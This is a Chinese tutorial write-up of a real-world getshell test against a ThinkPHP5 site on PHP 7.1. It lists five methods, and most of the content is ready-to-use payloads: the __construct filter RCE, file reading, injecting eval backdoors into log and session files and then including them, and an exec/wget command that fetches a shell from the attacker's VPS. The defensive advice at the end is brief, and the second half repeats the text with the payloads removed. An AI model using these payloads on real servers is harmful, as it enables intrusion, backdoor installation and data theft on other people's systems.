一次实战中对tp5网站getshell方式的测试
字数 1262 2025-08-25 22:59:15

ThinkPHP5 多种Getshell方法实战教学

前言

本文档详细记录在ThinkPHP5框架下多种getshell方法的实战测试过程,特别针对PHP7.1+环境下的限制条件进行分析和绕过。文档包含五种不同的getshell方法,涵盖RCE漏洞利用、日志包含、Session包含等多种技术手段。

环境信息

  • 目标框架:ThinkPHP5
  • PHP版本:7.1.33
  • 限制条件:disable_function禁用了多个关键函数

方法一:传统RCE写Shell(PHP7.1下失效)

初始RCE验证

首先验证是否存在RCE漏洞:

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo

传统写Shell方法(PHP7.1下失效)

传统payload:

s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

失败原因:PHP7.1+版本已弃用assert函数,无法使用此方法。

方法二:数据库信息泄露+PhpMyAdmin利用

步骤1:获取网站根目录

通过phpinfo()获取网站根目录信息。

步骤2:目录遍历

使用scandir函数遍历目录:

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=路径

步骤3:读取配置文件

使用highlight_file读取文件:

_method=__construct&filter[]=highlight_file&method=GET&get[]=读取的文件路径

限制:当目标不存在PhpMyAdmin时,此方法失效。

方法三:日志文件包含

步骤1:写入恶意代码到日志

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>

步骤2:包含日志文件

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();

注意:此方法在某些环境下可能失败。

方法四:Session文件包含(成功方法)

步骤1:设置恶意Session

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1

步骤2:包含Session文件

Session文件路径通常为:/tmp/sess_[sessionid],其中sessionid可从Cookie中获取。

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();

成功条件:获取到Webshell权限(www权限)。

方法五:利用exec函数下载远程Shell

前提条件

检查disable_function未禁用exec函数。

步骤1:准备远程Shell

在VPS上创建test.php并启动HTTP服务:

python -m SimpleHTTPServer 8888

步骤2:下载远程Shell

s=wget vps/test.php&_method=__construct&method=get&filter[]=exec

总结表格

方法 适用条件 关键点 限制
传统RCE PHP<7.1 使用assert函数 PHP7.1+失效
数据库泄露 存在PhpMyAdmin 读取数据库配置 需PhpMyAdmin存在
日志包含 可写日志 写入恶意代码到日志 部分环境不可用
Session包含 可写Session 包含Session文件 需知道Session路径
exec下载 exec未禁用 远程下载Shell 需外网连接

防御建议

  1. 及时更新ThinkPHP框架版本
  2. 严格配置disable_function
  3. 限制日志和Session目录权限
  4. 监控异常文件操作
  5. 禁用不必要的PHP函数

通过本次实战,我们掌握了在ThinkPHP5环境下多种getshell方法,特别是针对PHP7.1+环境的有效技术手段。Session包含和exec下载方法在特定条件下尤为有效。

ThinkPHP5 多种Getshell方法实战教学 前言 本文档详细记录在ThinkPHP5框架下多种getshell方法的实战测试过程,特别针对PHP7.1+环境下的限制条件进行分析和绕过。文档包含五种不同的getshell方法,涵盖RCE漏洞利用、日志包含、Session包含等多种技术手段。 环境信息 目标框架:ThinkPHP5 PHP版本:7.1.33 限制条件:disable_ function禁用了多个关键函数 方法一:传统RCE写Shell(PHP7.1下失效) 初始RCE验证 首先验证是否存在RCE漏洞: 传统写Shell方法(PHP7.1下失效) 传统payload: 失败原因 :PHP7.1+版本已弃用assert函数,无法使用此方法。 方法二:数据库信息泄露+PhpMyAdmin利用 步骤1:获取网站根目录 通过phpinfo()获取网站根目录信息。 步骤2:目录遍历 使用scandir函数遍历目录: 步骤3:读取配置文件 使用highlight_ file读取文件: 限制 :当目标不存在PhpMyAdmin时,此方法失效。 方法三:日志文件包含 步骤1:写入恶意代码到日志 步骤2:包含日志文件 注意 :此方法在某些环境下可能失败。 方法四:Session文件包含(成功方法) 步骤1:设置恶意Session 步骤2:包含Session文件 Session文件路径通常为: /tmp/sess_[sessionid] ,其中sessionid可从Cookie中获取。 成功条件 :获取到Webshell权限(www权限)。 方法五:利用exec函数下载远程Shell 前提条件 检查disable_ function未禁用exec函数。 步骤1:准备远程Shell 在VPS上创建test.php并启动HTTP服务: 步骤2:下载远程Shell 总结表格 | 方法 | 适用条件 | 关键点 | 限制 | |------|----------|--------|------| | 传统RCE | PHP <7.1 | 使用assert函数 | PHP7.1+失效 | | 数据库泄露 | 存在PhpMyAdmin | 读取数据库配置 | 需PhpMyAdmin存在 | | 日志包含 | 可写日志 | 写入恶意代码到日志 | 部分环境不可用 | | Session包含 | 可写Session | 包含Session文件 | 需知道Session路径 | | exec下载 | exec未禁用 | 远程下载Shell | 需外网连接 | 防御建议 及时更新ThinkPHP框架版本 严格配置disable_ function 限制日志和Session目录权限 监控异常文件操作 禁用不必要的PHP函数 通过本次实战,我们掌握了在ThinkPHP5环境下多种getshell方法,特别是针对PHP7.1+环境的有效技术手段。Session包含和exec下载方法在特定条件下尤为有效。